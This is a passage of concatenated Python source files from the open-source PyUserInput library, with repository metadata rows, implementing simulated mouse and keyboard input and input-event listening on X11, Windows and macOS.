Quartz.CFRunLoopAddSource(loop, loopsource, Quartz.kCFRunLoopDefaultMode)
Quartz.CGEventTapEnable(tap, True)
while self.state:
Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5, False)
def handler(self, proxy, type, event, refcon):
(x, y) = Quartz.CGEventGetLocation(event)
if type in pressID:
self.click(x, y, pressID.index(type), True)
elif type in releaseID:
self.click(x, y, releaseID.index(type), False)
else:
self.move(x, y)
if self.capture:
Quartz.CGEventSetType(event, Quartz.kCGEventNull)
return event
| 5,547 | Python | .py | 114 | 37.070175 | 98 | 0.62911 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,871 | x11.py | SavinaRoja_PyUserInput/pymouse/x11.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
from Xlib.display import Display
from Xlib import X
from Xlib.ext.xtest import fake_input
from Xlib.ext import record
from Xlib.protocol import rq
from .base import PyMouseMeta, PyMouseEventMeta, ScrollSupportError
class X11Error(Exception):
"""An error that is thrown at the end of a code block managed by a
:func:`display_manager` if an *X11* error occurred.
"""
pass
def display_manager(display):
"""Traps *X* errors and raises an :class:``X11Error`` at the end if any
error occurred.
This handler also ensures that the :class:`Xlib.display.Display` being
managed is sync'd.
:param Xlib.display.Display display: The *X* display.
:return: the display
:rtype: Xlib.display.Display
"""
from contextlib import contextmanager
@contextmanager
def manager():
errors = []
def handler(*args):
errors.append(args)
old_handler = display.set_error_handler(handler)
yield display
display.sync()
display.set_error_handler(old_handler)
if errors:
raise X11Error(errors)
return manager()
def translate_button_code(button):
# In X11, the button numbers are:
# leftclick=1, middleclick=2, rightclick=3
# For the purposes of the cross-platform interface of PyMouse, we
# invert the button number values of the right and middle buttons
if button in [1, 2, 3]:
return (None, 1, 3, 2)[button]
else:
return button
def button_code_to_scroll_direction(button):
# scrollup=4, scrolldown=5, scrollleft=6, scrollright=7
return {
4: (1, 0),
5: (-1, 0),
6: (0, 1),
7: (0, -1),
}[button]
class PyMouse(PyMouseMeta):
def __init__(self, display=None):
PyMouseMeta.__init__(self)
self.display = Display(display)
self.display2 = Display(display)
def press(self, x, y, button=1):
self.move(x, y)
with display_manager(self.display) as d:
fake_input(d, X.ButtonPress, translate_button_code(button))
def release(self, x, y, button=1):
self.move(x, y)
with display_manager(self.display) as d:
fake_input(d, X.ButtonRelease, translate_button_code(button))
def scroll(self, vertical=None, horizontal=None, depth=None):
#Xlib supports only vertical and horizontal scrolling
if depth is not None:
raise ScrollSupportError('PyMouse cannot support depth-scrolling \
in X11. This feature is only available on Mac.')
#Execute vertical then horizontal scrolling events
if vertical is not None:
vertical = int(vertical)
if vertical == 0: # Do nothing with 0 distance
pass
elif vertical > 0: # Scroll up if positive
self.click(*self.position(), button=4, n=vertical)
else: # Scroll down if negative
self.click(*self.position(), button=5, n=abs(vertical))
if horizontal is not None:
horizontal = int(horizontal)
if horizontal == 0: # Do nothing with 0 distance
pass
elif horizontal > 0: # Scroll right if positive
self.click(*self.position(), button=7, n=horizontal)
else: # Scroll left if negative
self.click(*self.position(), button=6, n=abs(horizontal))
def move(self, x, y):
if (x, y) != self.position():
with display_manager(self.display) as d:
fake_input(d, X.MotionNotify, x=x, y=y)
def drag(self, x, y):
with display_manager(self.display) as d:
fake_input(d, X.ButtonPress, 1)
fake_input(d, X.MotionNotify, x=x, y=y)
fake_input(d, X.ButtonRelease, 1)
def position(self):
coord = self.display.screen().root.query_pointer()._data
return coord["root_x"], coord["root_y"]
def screen_size(self):
width = self.display.screen().width_in_pixels
height = self.display.screen().height_in_pixels
return width, height
class PyMouseEvent(PyMouseEventMeta):
def __init__(self, capture=False, capture_move=False, display=None):
PyMouseEventMeta.__init__(self,
capture=capture,
capture_move=capture_move)
self.display = Display(display)
self.display2 = Display(display)
self.ctx = self.display2.record_create_context(
0,
[record.AllClients],
[{
'core_requests': (0, 0),
'core_replies': (0, 0),
'ext_requests': (0, 0, 0, 0),
'ext_replies': (0, 0, 0, 0),
'delivered_events': (0, 0),
'device_events': (X.ButtonPressMask, X.ButtonReleaseMask),
'errors': (0, 0),
'client_started': False,
'client_died': False,
}])
def run(self):
try:
if self.capture and self.capture_move:
capturing = X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask
elif self.capture:
capturing = X.ButtonPressMask | X.ButtonReleaseMask
elif self.capture_move:
capturing = X.PointerMotionMask
else:
capturing = False
if capturing:
self.display2.screen().root.grab_pointer(True,
capturing,
X.GrabModeAsync,
X.GrabModeAsync,
0, 0, X.CurrentTime)
self.display.screen().root.grab_pointer(True,
capturing,
X.GrabModeAsync,
X.GrabModeAsync,
0, 0, X.CurrentTime)
self.display2.record_enable_context(self.ctx, self.handler)
self.display2.record_free_context(self.ctx)
except KeyboardInterrupt:
self.stop()
def stop(self):
self.state = False
with display_manager(self.display) as d:
d.ungrab_pointer(X.CurrentTime)
d.record_disable_context(self.ctx)
with display_manager(self.display2) as d:
d.ungrab_pointer(X.CurrentTime)
d.record_disable_context(self.ctx)
def handler(self, reply):
data = reply.data
while len(data):
event, data = rq.EventField(None).parse_binary_value(data, self.display.display, None, None)
if event.detail in [4, 5, 6, 7]:
if event.type == X.ButtonPress:
self.scroll(event.root_x, event.root_y, *button_code_to_scroll_direction(event.detail))
elif event.type == X.ButtonPress:
self.click(event.root_x, event.root_y, translate_button_code(event.detail), True)
elif event.type == X.ButtonRelease:
self.click(event.root_x, event.root_y, translate_button_code(event.detail), False)
else:
self.move(event.root_x, event.root_y)
| 8,098 | Python | .py | 182 | 32.615385 | 107 | 0.582995 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,872 | __init__.py | SavinaRoja_PyUserInput/pymouse/__init__.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
The goal of PyMouse is to have a cross-platform way to control the mouse.
PyMouse should work on Windows, Mac and any Unix that has xlib.
PyMouse is a part of PyUserInput, along with PyKeyboard, for more information
about this project, see:
http://github.com/SavinaRoja/PyUserInput
PyMouse was originally developed by Pepijn de Vos. For the original repository,
see:
https://github.com/pepijndevos/PyMouse
"""
import sys
if sys.platform.startswith('java'):
from .java_ import PyMouse
elif sys.platform == 'darwin':
from .mac import PyMouse, PyMouseEvent
elif sys.platform == 'win32':
from .windows import PyMouse, PyMouseEvent
else:
from .x11 import PyMouse, PyMouseEvent
| 1,355 | Python | .py | 33 | 39.30303 | 79 | 0.789794 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,873 | base.py | SavinaRoja_PyUserInput/pymouse/base.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
The goal of PyMouse is to have a cross-platform way to control the mouse.
PyMouse should work on Windows, Mac and any Unix that has xlib.
As the base file, this provides a rough operational model along with the
framework to be extended by each platform.
"""
from threading import Thread
class ScrollSupportError(Exception):
pass
class PyMouseMeta(object):
def press(self, x, y, button=1):
"""
Press the mouse on a given x, y and button.
Button is defined as 1 = left, 2 = right, 3 = middle.
"""
raise NotImplementedError
def release(self, x, y, button=1):
"""
Release the mouse on a given x, y and button.
Button is defined as 1 = left, 2 = right, 3 = middle.
"""
raise NotImplementedError
def click(self, x, y, button=1, n=1):
"""
Click a mouse button n times on a given x, y.
Button is defined as 1 = left, 2 = right, 3 = middle.
"""
for i in range(n):
self.press(x, y, button)
self.release(x, y, button)
def scroll(self, vertical=None, horizontal=None, depth=None):
"""
Generates mouse scrolling events in up to three dimensions: vertical,
horizontal, and depth (Mac-only). Values for these arguments may be
positive or negative numbers (float or int). Refer to the following:
Vertical: + Up, - Down
Horizontal: + Right, - Left
Depth: + Rise (out of display), - Dive (towards display)
Dynamic scrolling, which is used Windows and Mac platforms, is not
implemented at this time due to an inability to test Mac code. The
events generated by this code will thus be discrete units of scrolling
"lines". The user is advised to take care at all times with scrolling
automation as scrolling event consumption is relatively un-standardized.
Float values will be coerced to integers.
"""
raise NotImplementedError
def move(self, x, y):
"""Move the mouse to a given x and y"""
raise NotImplementedError
def drag(self, x, y):
"""Drag the mouse to a given x and y.
A Drag is a Move where the mouse key is held down."""
raise NotImplementedError
def position(self):
"""
Get the current mouse position in pixels.
Returns a tuple of 2 integers
"""
raise NotImplementedError
def screen_size(self):
"""
Get the current screen size in pixels.
Returns a tuple of 2 integers
"""
raise NotImplementedError
class PyMouseEventMeta(Thread):
def __init__(self, capture=False, capture_move=False):
Thread.__init__(self)
self.daemon = True
self.capture = capture
self.capture_move = capture_move
self.state = True
def stop(self):
self.state = False
def click(self, x, y, button, press):
"""Subclass this method with your click event handler"""
pass
def move(self, x, y):
"""Subclass this method with your move event handler"""
pass
def scroll(self, x, y, vertical, horizontal):
"""
Subclass this method with your scroll event handler
Vertical: + Up, - Down
Horizontal: + Right, - Left
"""
pass
| 4,047 | Python | .py | 101 | 32.940594 | 80 | 0.654662 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,874 | mir.py | SavinaRoja_PyUserInput/pymouse/mir.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
| 654 | Python | .py | 14 | 45.714286 | 70 | 0.795313 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,875 | wayland.py | SavinaRoja_PyUserInput/pykeyboard/wayland.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
| 654 | Python | .py | 14 | 45.714286 | 70 | 0.795313 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,876 | windows.py | SavinaRoja_PyUserInput/pykeyboard/windows.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
from ctypes import *
import win32api
from win32con import *
import pythoncom
from .base import PyKeyboardMeta, PyKeyboardEventMeta
import time
class SupportError(Exception):
"""For keys not supported on this system"""
def __init__(self, value):
self.value = value
def __str__(self):
return('The {0} key is not supported in Windows'.format(self.value))
class PyKeyboard(PyKeyboardMeta):
"""
The PyKeyboard implementation for Windows systems. This allows one to
simulate keyboard input.
"""
def __init__(self):
PyKeyboardMeta.__init__(self)
self.special_key_assignment()
def press_key(self, character=''):
"""
Press a given character key.
"""
try:
shifted = self.is_char_shifted(character)
except AttributeError:
win32api.keybd_event(character, 0, 0, 0)
else:
if shifted:
win32api.keybd_event(self.shift_key, 0, 0, 0)
char_vk = win32api.VkKeyScan(character)
win32api.keybd_event(char_vk, 0, 0, 0)
def release_key(self, character=''):
"""
Release a given character key.
"""
try:
shifted = self.is_char_shifted(character)
except AttributeError:
win32api.keybd_event(character, 0, KEYEVENTF_KEYUP, 0)
else:
if shifted:
win32api.keybd_event(self.shift_key, 0, KEYEVENTF_KEYUP, 0)
char_vk = win32api.VkKeyScan(character)
win32api.keybd_event(char_vk, 0, KEYEVENTF_KEYUP, 0)
def special_key_assignment(self):
"""
Special Key assignment for windows
"""
#As defined by Microsoft, refer to:
#http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
self.backspace_key = VK_BACK
self.tab_key = VK_TAB
self.clear_key = VK_CLEAR
self.return_key = VK_RETURN
self.enter_key = self.return_key # Because many keyboards call it "Enter"
self.shift_key = VK_SHIFT
self.shift_l_key = VK_LSHIFT
self.shift_r_key = VK_RSHIFT
self.control_key = VK_CONTROL
self.control_l_key = VK_LCONTROL
self.control_r_key = VK_RCONTROL
#Windows uses "menu" to refer to Alt...
self.menu_key = VK_MENU
self.alt_l_key = VK_LMENU
self.alt_r_key = VK_RMENU
self.altgr_key = VK_RMENU
self.alt_key = self.alt_l_key
self.pause_key = VK_PAUSE
self.caps_lock_key = VK_CAPITAL
self.capital_key = self.caps_lock_key
self.num_lock_key = VK_NUMLOCK
self.scroll_lock_key = VK_SCROLL
#Windows Language Keys,
self.kana_key = VK_KANA
self.hangeul_key = VK_HANGEUL # old name - should be here for compatibility
self.hangul_key = VK_HANGUL
self.junjua_key = VK_JUNJA
self.final_key = VK_FINAL
self.hanja_key = VK_HANJA
self.kanji_key = VK_KANJI
self.convert_key = VK_CONVERT
self.nonconvert_key = VK_NONCONVERT
self.accept_key = VK_ACCEPT
self.modechange_key = VK_MODECHANGE
#More Keys
self.escape_key = VK_ESCAPE
self.space_key = VK_SPACE
self.prior_key = VK_PRIOR
self.next_key = VK_NEXT
self.page_up_key = self.prior_key
self.page_down_key = self.next_key
self.home_key = VK_HOME
self.up_key = VK_UP
self.down_key = VK_DOWN
self.left_key = VK_LEFT
self.right_key = VK_RIGHT
self.end_key = VK_END
self.select_key = VK_SELECT
self.print_key = VK_PRINT
self.snapshot_key = VK_SNAPSHOT
self.print_screen_key = self.snapshot_key
self.execute_key = VK_EXECUTE
self.insert_key = VK_INSERT
self.delete_key = VK_DELETE
self.help_key = VK_HELP
self.windows_l_key = VK_LWIN
self.super_l_key = self.windows_l_key
self.windows_r_key = VK_RWIN
self.super_r_key = self.windows_r_key
self.apps_key = VK_APPS
#Numpad
self.keypad_keys = {'Space': None,
'Tab': None,
'Enter': None, # Needs Fixing
'F1': None,
'F2': None,
'F3': None,
'F4': None,
'Home': VK_NUMPAD7,
'Left': VK_NUMPAD4,
'Up': VK_NUMPAD8,
'Right': VK_NUMPAD6,
'Down': VK_NUMPAD2,
'Prior': None,
'Page_Up': VK_NUMPAD9,
'Next': None,
'Page_Down': VK_NUMPAD3,
'End': VK_NUMPAD1,
'Begin': None,
'Insert': VK_NUMPAD0,
'Delete': VK_DECIMAL,
'Equal': None, # Needs Fixing
'Multiply': VK_MULTIPLY,
'Add': VK_ADD,
'Separator': VK_SEPARATOR,
'Subtract': VK_SUBTRACT,
'Decimal': VK_DECIMAL,
'Divide': VK_DIVIDE,
0: VK_NUMPAD0,
1: VK_NUMPAD1,
2: VK_NUMPAD2,
3: VK_NUMPAD3,
4: VK_NUMPAD4,
5: VK_NUMPAD5,
6: VK_NUMPAD6,
7: VK_NUMPAD7,
8: VK_NUMPAD8,
9: VK_NUMPAD9}
self.numpad_keys = self.keypad_keys
#FKeys
self.function_keys = [None, VK_F1, VK_F2, VK_F3, VK_F4, VK_F5, VK_F6,
VK_F7, VK_F8, VK_F9, VK_F10, VK_F11, VK_F12,
VK_F13, VK_F14, VK_F15, VK_F16, VK_F17, VK_F18,
VK_F19, VK_F20, VK_F21, VK_F22, VK_F23, VK_F24,
None, None, None, None, None, None, None, None,
None, None, None] # Up to 36 as in x11
#Miscellaneous
self.cancel_key = VK_CANCEL
self.break_key = self.cancel_key
self.mode_switch_key = VK_MODECHANGE
self.browser_back_key = VK_BROWSER_BACK
self.browser_forward_key = VK_BROWSER_FORWARD
self.processkey_key = VK_PROCESSKEY
self.attn_key = VK_ATTN
self.crsel_key = VK_CRSEL
self.exsel_key = VK_EXSEL
self.ereof_key = VK_EREOF
self.play_key = VK_PLAY
self.zoom_key = VK_ZOOM
self.noname_key = VK_NONAME
self.pa1_key = VK_PA1
self.oem_clear_key = VK_OEM_CLEAR
self.volume_mute_key = VK_VOLUME_MUTE
self.volume_down_key = VK_VOLUME_DOWN
self.volume_up_key = VK_VOLUME_UP
self.media_next_track_key = VK_MEDIA_NEXT_TRACK
self.media_prev_track_key = VK_MEDIA_PREV_TRACK
self.media_play_pause_key = VK_MEDIA_PLAY_PAUSE
self.begin_key = self.home_key
#LKeys - Unsupported
self.l_keys = [None] * 11
#RKeys - Unsupported
self.r_keys = [None] * 16
#Other unsupported Keys from X11
self.linefeed_key = None
self.find_key = None
self.meta_l_key = None
self.meta_r_key = None
self.sys_req_key = None
self.hyper_l_key = None
self.hyper_r_key = None
self.undo_key = None
self.redo_key = None
self.script_switch_key = None
class PyKeyboardEvent(PyKeyboardEventMeta):
"""
The PyKeyboardEvent implementation for Windows Systems. This allows one
to listen for keyboard input.
"""
def __init__(self, diagnostic=False):
self.diagnostic = diagnostic
import pyWinhook as pyHook
PyKeyboardEventMeta.__init__(self)
self.hm = pyHook.HookManager()
self.hc = pyHook.HookConstants()
self.lock_meaning = None
def run(self):
"""Begin listening for keyboard input events."""
self.state = True
self.hm.KeyAll = self.handler
self.hm.HookKeyboard()
while self.state:
time.sleep(0.01)
pythoncom.PumpWaitingMessages()
def stop(self):
"""Stop listening for keyboard input events."""
self.hm.UnhookKeyboard()
self.state = False
def handler(self, event):
"""Upper level handler of keyboard events."""
if self.escape(event): # A chance to escape
self.stop()
elif self.diagnostic:
self._diagnostic(event)
else:
self._tap(event)
#This is needed according to the pyHook tutorials 'http://sourceforge.net/apps/mediawiki/pyhook/index.php?title=PyHook_Tutorial'
return True
def _tap(self, event):
keycode = event.KeyID
press_bool = (event.Message in [self.hc.WM_KEYDOWN, self.hc.WM_SYSKEYDOWN])
#Not using event.GeyKey() because we want to differentiate between
#KeyID and Ascii attributes of the event
if event.Ascii != 0:
character = chr(event.Ascii)
else:
character = self.hc.id_to_vk[keycode][3:]
#TODO: Need to universalize keys between platforms. ie. 'Menu' -> 'Alt'
self.tap(keycode, character, press_bool)
def _diagnostic(self, event):
"""
This method is employed instead of _tap() if the PyKeyboardEvent is
initialized with diagnostic=True. This makes some basic testing quickly
and easily available. It will print out information regarding the event
instead of passing information along to self.tap()
"""
print('\n---Keyboard Event Diagnostic---')
print('MessageName:', event.MessageName)
print('Message:', event.Message)
print('Time:', event.Time)
print('Window:', event.Window)
print('WindowName:', event.WindowName)
print('Ascii:', event.Ascii, ',', chr(event.Ascii))
print('Key:', event.Key)
print('KeyID:', event.KeyID)
print('ScanCode:', event.ScanCode)
print('Extended:', event.Extended)
print('Injected:', event.Injected)
print('Alt', event.Alt)
print('Transition', event.Transition)
print('---')
def escape(self, event):
return event.KeyID == VK_ESCAPE
def toggle_shift_state(self): # This will be removed later
'''Does toggling for the shift state.'''
states = [1, 0]
self.shift_state = states[self.shift_state]
def toggle_alt_state(self): # This will be removed later
'''Does toggling for the alt state.'''
states = [2, None, 0]
self.alt_state = states[self.alt_state]
def configure_keys(self):
"""
This does initial configuration for keyboard modifier state tracking
including alias setting and keycode list construction.
"""
pass
| 11,883 | Python | .py | 293 | 29.307167 | 136 | 0.566387 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,877 | java_.py | SavinaRoja_PyUserInput/pykeyboard/java_.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
| 654 | Python | .py | 14 | 45.714286 | 70 | 0.795313 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,878 | mac.py | SavinaRoja_PyUserInput/pykeyboard/mac.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
import time
import Quartz
from AppKit import NSEvent
from .base import PyKeyboardMeta, PyKeyboardEventMeta
# Taken from events.h
# /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h
character_translate_table = {
'a': 0x00,
's': 0x01,
'd': 0x02,
'f': 0x03,
'h': 0x04,
'g': 0x05,
'z': 0x06,
'x': 0x07,
'c': 0x08,
'v': 0x09,
'b': 0x0b,
'q': 0x0c,
'w': 0x0d,
'e': 0x0e,
'r': 0x0f,
'y': 0x10,
't': 0x11,
'1': 0x12,
'2': 0x13,
'3': 0x14,
'4': 0x15,
'6': 0x16,
'5': 0x17,
'=': 0x18,
'9': 0x19,
'7': 0x1a,
'-': 0x1b,
'8': 0x1c,
'0': 0x1d,
']': 0x1e,
'o': 0x1f,
'u': 0x20,
'[': 0x21,
'i': 0x22,
'p': 0x23,
'l': 0x25,
'j': 0x26,
'\'': 0x27,
'k': 0x28,
';': 0x29,
'\\': 0x2a,
',': 0x2b,
'/': 0x2c,
'n': 0x2d,
'm': 0x2e,
'.': 0x2f,
'`': 0x32,
' ': 0x31,
'\r': 0x24,
'\t': 0x30,
'\n': 0x24,
'return' : 0x24,
'tab' : 0x30,
'space' : 0x31,
'delete' : 0x33,
'escape' : 0x35,
'command' : 0x37,
'shift' : 0x38,
'capslock' : 0x39,
'option' : 0x3A,
'alternate' : 0x3A,
'control' : 0x3B,
'rightshift' : 0x3C,
'rightoption' : 0x3D,
'rightcontrol' : 0x3E,
'function' : 0x3F,
}
# Taken from ev_keymap.h
# http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h
special_key_translate_table = {
'KEYTYPE_SOUND_UP': 0,
'KEYTYPE_SOUND_DOWN': 1,
'KEYTYPE_BRIGHTNESS_UP': 2,
'KEYTYPE_BRIGHTNESS_DOWN': 3,
'KEYTYPE_CAPS_LOCK': 4,
'KEYTYPE_HELP': 5,
'POWER_KEY': 6,
'KEYTYPE_MUTE': 7,
'UP_ARROW_KEY': 8,
'DOWN_ARROW_KEY': 9,
'KEYTYPE_NUM_LOCK': 10,
'KEYTYPE_CONTRAST_UP': 11,
'KEYTYPE_CONTRAST_DOWN': 12,
'KEYTYPE_LAUNCH_PANEL': 13,
'KEYTYPE_EJECT': 14,
'KEYTYPE_VIDMIRROR': 15,
'KEYTYPE_PLAY': 16,
'KEYTYPE_NEXT': 17,
'KEYTYPE_PREVIOUS': 18,
'KEYTYPE_FAST': 19,
'KEYTYPE_REWIND': 20,
'KEYTYPE_ILLUMINATION_UP': 21,
'KEYTYPE_ILLUMINATION_DOWN': 22,
'KEYTYPE_ILLUMINATION_TOGGLE': 23
}
class PyKeyboard(PyKeyboardMeta):
def __init__(self):
self.shift_key = 'shift'
self.modifier_table = {'Shift':False,'Command':False,'Control':False,'Alternate':False}
def press_key(self, key):
if key.title() in self.modifier_table:
self.modifier_table.update({key.title():True})
if key in special_key_translate_table:
self._press_special_key(key, True)
else:
self._press_normal_key(key, True)
def release_key(self, key):
# remove the key
if key.title() in self.modifier_table: self.modifier_table.update({key.title():False})
if key in special_key_translate_table:
self._press_special_key(key, False)
else:
self._press_normal_key(key, False)
def special_key_assignment(self):
self.volume_mute_key = 'KEYTYPE_MUTE'
self.volume_down_key = 'KEYTYPE_SOUND_DOWN'
self.volume_up_key = 'KEYTYPE_SOUND_UP'
self.media_play_pause_key = 'KEYTYPE_PLAY'
# Doesn't work :(
# self.media_next_track_key = 'KEYTYPE_NEXT'
# self.media_prev_track_key = 'KEYTYPE_PREVIOUS'
def _press_normal_key(self, key, down):
try:
key_code = character_translate_table[key.lower()]
# kCGEventFlagMaskAlternate | kCGEventFlagMaskCommand | kCGEventFlagMaskControl | kCGEventFlagMaskShift
event = Quartz.CGEventCreateKeyboardEvent(None, key_code, down)
mkeyStr = ''
for mkey in self.modifier_table:
if self.modifier_table[mkey]:
if len(mkeyStr)>1: mkeyStr = mkeyStr+' ^ '
mkeyStr = mkeyStr+'Quartz.kCGEventFlagMask'+mkey
if len(mkeyStr)>1: eval('Quartz.CGEventSetFlags(event, '+mkeyStr+')')
Quartz.CGEventPost(Quartz.kCGHIDEventTap, event)
if key.lower() == "shift":
time.sleep(.1)
except KeyError:
raise RuntimeError("Key {} not implemented.".format(key))
def _press_special_key(self, key, down):
""" Helper method for special keys.
Source: http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac
"""
key_code = special_key_translate_table[key]
ev = NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_(
NSSystemDefined, # type
(0,0), # location
0xa00 if down else 0xb00, # flags
0, # timestamp
0, # window
0, # ctx
8, # subtype
(key_code << 16) | ((0xa if down else 0xb) << 8), # data1
-1 # data2
)
Quartz.CGEventPost(0, ev.Quartz.CGEvent())
class PyKeyboardEvent(PyKeyboardEventMeta):
def run(self):
tap = Quartz.CGEventTapCreate(
Quartz.kCGSessionEventTap,
Quartz.kCGHeadInsertEventTap,
Quartz.kCGEventTapOptionDefault,
Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) |
Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp),
self.handler,
None)
loopsource = Quartz.CFMachPortCreateRunLoopSource(None, tap, 0)
loop = Quartz.CFRunLoopGetCurrent()
Quartz.CFRunLoopAddSource(loop, loopsource, Quartz.kCFRunLoopDefaultMode)
Quartz.CGEventTapEnable(tap, True)
while self.state:
Quartz.CFRunLoopRunInMode(Quartz.kCFRunLoopDefaultMode, 5, False)
def handler(self, proxy, type, event, refcon):
key = Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode)
if type == Quartz.kCGEventKeyDown:
self.key_press(key)
elif type == Quartz.kCGEventKeyUp:
self.key_release(key)
if self.capture:
Quartz.CGEventSetType(event, Quartz.kCGEventNull)
return event
| 6,877 | Python | .py | 200 | 27.005 | 115 | 0.612362 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,879 | x11.py | SavinaRoja_PyUserInput/pykeyboard/x11.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
from Xlib.display import Display
from Xlib import X
from Xlib.ext.xtest import fake_input
from Xlib.ext import record
from Xlib.protocol import rq
import Xlib.XK
import Xlib.keysymdef.xkb
from .base import PyKeyboardMeta, PyKeyboardEventMeta
import time
import string
from pymouse.x11 import display_manager
from .x11_keysyms import KEYSYMS
class PyKeyboard(PyKeyboardMeta):
"""
The PyKeyboard implementation for X11 systems (mostly linux). This
allows one to simulate keyboard input.
"""
def __init__(self, display=None):
PyKeyboardMeta.__init__(self)
self.display = Display(display)
self.display2 = Display(display)
self.special_key_assignment()
def _handle_key(self, character, event):
"""Handles either a key press or release, depending on ``event``.
:param character: The key to handle. See :meth:`press_key` and
:meth:`release_key` for information about this parameter.
:param event: The *Xlib* event. This should be either
